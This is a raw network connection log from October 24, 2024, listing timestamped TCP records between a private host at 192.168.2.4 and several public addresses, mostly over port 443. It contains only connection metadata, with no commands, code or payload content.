Oct 24, 2024 16:04:38.185324907 CEST	49760	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.185417891 CEST	443	49760	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.187728882 CEST	49761	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.187920094 CEST	443	49761	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.188345909 CEST	49762	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.188560009 CEST	443	49762	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.188611031 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.188874960 CEST	49758	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.188895941 CEST	443	49758	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.188985109 CEST	49759	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.188997030 CEST	443	49759	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.189023972 CEST	49760	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.189032078 CEST	443	49760	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.189328909 CEST	49761	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.189336061 CEST	443	49761	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.189390898 CEST	49762	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.189395905 CEST	443	49762	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.223330975 CEST	443	49756	184.28.90.27	192.168.2.4
Oct 24, 2024 16:04:38.232610941 CEST	49759	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.232621908 CEST	49760	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.232630968 CEST	49758	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.232633114 CEST	49762	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.232639074 CEST	49761	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.235330105 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.334599018 CEST	443	49760	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.334681988 CEST	443	49760	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.334750891 CEST	49760	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.334784031 CEST	443	49760	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.334849119 CEST	443	49758	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.334867954 CEST	443	49760	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.334932089 CEST	49760	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.335000038 CEST	443	49758	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.335074902 CEST	49758	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.335742950 CEST	49760	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.335757017 CEST	443	49760	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.336061954 CEST	49758	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.336103916 CEST	443	49758	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.336884022 CEST	443	49761	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.337101936 CEST	443	49761	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.337171078 CEST	49761	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.337934017 CEST	49761	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.337974072 CEST	443	49761	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.339987993 CEST	443	49759	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.340012074 CEST	443	49759	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.340079069 CEST	443	49759	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.340085983 CEST	49759	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.340121031 CEST	49759	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.340435028 CEST	443	49765	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:38.340794086 CEST	49765	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:38.340805054 CEST	443	49765	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:38.340975046 CEST	49759	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.340989113 CEST	443	49759	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.342284918 CEST	443	49765	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:38.342355013 CEST	49765	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:38.342979908 CEST	49765	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:38.343060017 CEST	443	49765	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:38.343147039 CEST	49765	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:38.343153000 CEST	443	49765	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:38.343553066 CEST	443	49762	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.347107887 CEST	443	49762	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.347174883 CEST	49762	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.349037886 CEST	49762	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.349041939 CEST	443	49762	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.367199898 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.388859987 CEST	49765	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:38.420197010 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.420950890 CEST	443	49756	184.28.90.27	192.168.2.4
Oct 24, 2024 16:04:38.421036959 CEST	443	49756	184.28.90.27	192.168.2.4
Oct 24, 2024 16:04:38.421101093 CEST	49756	443	192.168.2.4	184.28.90.27
Oct 24, 2024 16:04:38.421717882 CEST	49756	443	192.168.2.4	184.28.90.27
Oct 24, 2024 16:04:38.421741009 CEST	443	49756	184.28.90.27	192.168.2.4
Oct 24, 2024 16:04:38.421768904 CEST	49756	443	192.168.2.4	184.28.90.27
Oct 24, 2024 16:04:38.421782970 CEST	443	49756	184.28.90.27	192.168.2.4
Oct 24, 2024 16:04:38.484592915 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.484602928 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.484658003 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.484695911 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.484708071 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.484786987 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.484817028 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.484854937 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.484854937 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.484884024 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.485730886 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.485738039 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.485780954 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.485811949 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.485830069 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.485860109 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.485903025 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.579910040 CEST	443	49765	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:38.580038071 CEST	443	49765	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:38.580102921 CEST	49765	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:38.580113888 CEST	443	49765	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:38.580193043 CEST	443	49765	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:38.580254078 CEST	49765	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:38.580995083 CEST	49765	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:38.581007957 CEST	443	49765	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:38.601886988 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.601921082 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.602005959 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.602030039 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.602088928 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.602837086 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.602850914 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.602914095 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.602926970 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.602979898 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.603962898 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.603976011 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.604064941 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.604079008 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.604130030 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.605710030 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.605771065 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.605803967 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.605818987 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.605846882 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.605868101 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.720376968 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.720444918 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.720468044 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.720496893 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.720530987 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.720681906 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.720694065 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.720719099 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.720746994 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.720782042 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:44.004662037 CEST	443	49740	216.58.206.68	192.168.2.4
Oct 24, 2024 16:04:44.004822969 CEST	443	49740	216.58.206.68	192.168.2.4
Oct 24, 2024 16:04:44.004893064 CEST	49740	443	192.168.2.4	216.58.206.68
Oct 24, 2024 16:04:44.750323057 CEST	49740	443	192.168.2.4	216.58.206.68
Oct 24, 2024 16:04:44.750394106 CEST	443	49740	216.58.206.68	192.168.2.4
Oct 24, 2024 16:05:01.725409985 CEST	80	49723	217.20.57.34	192.168.2.4
Oct 24, 2024 16:05:01.725578070 CEST	49723	80	192.168.2.4	217.20.57.34
Oct 24, 2024 16:05:01.725661993 CEST	49723	80	192.168.2.4	217.20.57.34
Oct 24, 2024 16:05:01.730957985 CEST	80	49723	217.20.57.34	192.168.2.4
Oct 24, 2024 16:05:16.578208923 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:16.578304052 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:16.578727007 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:16.578727007 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:16.578813076 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.363523006 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.363626003 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.368916035 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.368943930 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.369364977 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.378957987 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.423338890 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.605278015 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.605315924 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.605335951 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.605380058 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.605396986 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.605431080 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.605452061 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.631721020 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.631783009 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.631819010 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.631854057 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.631880045 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.631937027 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.726196051 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.726264000 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.726310968 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.726351023 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.726376057 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.726394892 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.751764059 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.751797915 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.751840115 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.751856089 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.751898050 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.751915932 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.753319025 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.753348112 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.753382921 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.753393888 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.753418922 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.753441095 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.796797037 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.796858072 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.796896935 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.796931028 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.796957016 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.797079086 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.846811056 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.846877098 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.846915007 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.846942902 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.846967936 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.847003937 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.871800900 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.871854067 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.871881962 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.871902943 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.871928930 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.871944904 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.872741938 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.872782946 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.872807026 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.872824907 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.872844934 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.872869968 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.874185085 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.874227047 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.874249935 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.874265909 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.874284029 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.874306917 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.875575066 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.875621080 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.875643015 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.875659943 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.875693083 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.875715971 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.880167961 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.880208969 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.880233049 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.880249023 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.880269051 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.880295038 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.919054985 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.919085026 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.919127941 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.919142962 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.919157028 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.919220924 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.966986895 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.967084885 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.967165947 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.967183113 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.967211962 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:17.967576027 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:17.967715025 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.042994976 CEST	49777	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.043049097 CEST	443	49777	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.043066025 CEST	49776	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.043104887 CEST	443	49776	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.043114901 CEST	49777	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.043149948 CEST	49776	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.043736935 CEST	49778	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.043755054 CEST	443	49778	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.043867111 CEST	49778	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.043911934 CEST	49779	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.043922901 CEST	443	49779	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.043967009 CEST	49779	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.044229031 CEST	49779	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.044243097 CEST	443	49779	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.044322014 CEST	49777	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.044336081 CEST	443	49777	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.044553041 CEST	49776	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.044553041 CEST	49778	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.044565916 CEST	443	49776	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.044584036 CEST	443	49778	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.045105934 CEST	49780	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.045156002 CEST	443	49780	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.045236111 CEST	49780	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.045392990 CEST	49780	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.045404911 CEST	443	49780	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.781073093 CEST	443	49778	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.781326056 CEST	443	49777	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.781481981 CEST	49778	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.781501055 CEST	443	49778	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.782527924 CEST	49778	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.782531977 CEST	443	49778	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.782951117 CEST	49777	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.782975912 CEST	443	49777	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.783792973 CEST	49777	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.783798933 CEST	443	49777	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.784020901 CEST	443	49776	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.784655094 CEST	49776	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.784662962 CEST	443	49776	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.785770893 CEST	49776	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.785775900 CEST	443	49776	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.794208050 CEST	443	49779	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.794764996 CEST	49779	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.794776917 CEST	443	49779	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.795896053 CEST	49779	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.795902014 CEST	443	49779	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.914963007 CEST	443	49777	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.915023088 CEST	443	49777	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.915162086 CEST	443	49777	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.915244102 CEST	49777	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.915244102 CEST	49777	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.915344954 CEST	49777	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.915368080 CEST	443	49777	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.915404081 CEST	49777	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.915414095 CEST	443	49777	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.915663958 CEST	443	49776	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.915779114 CEST	443	49776	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.915837049 CEST	49776	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.915848970 CEST	443	49776	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.915937901 CEST	49776	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.916615963 CEST	443	49776	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.916729927 CEST	49776	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.917345047 CEST	443	49778	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.917404890 CEST	443	49778	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.917483091 CEST	49778	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.917498112 CEST	443	49778	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.917534113 CEST	49778	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.917537928 CEST	443	49778	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.917681932 CEST	49778	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.917833090 CEST	49778	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.917854071 CEST	443	49778	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.917891979 CEST	49778	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.917906046 CEST	443	49778	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.918457031 CEST	49776	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.918457031 CEST	49776	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.918462992 CEST	443	49776	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.918468952 CEST	443	49776	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.921592951 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.921650887 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.921720982 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.924444914 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.924475908 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.927277088 CEST	443	49779	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.927295923 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.927373886 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.927448988 CEST	443	49779	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.927455902 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.927499056 CEST	49779	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.927813053 CEST	49779	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.927819014 CEST	443	49779	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.929083109 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.929110050 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.929177046 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.929450989 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.929476976 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.933655977 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.933743000 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.933804989 CEST	49784	443	192.168.2.4	13.107.246.60
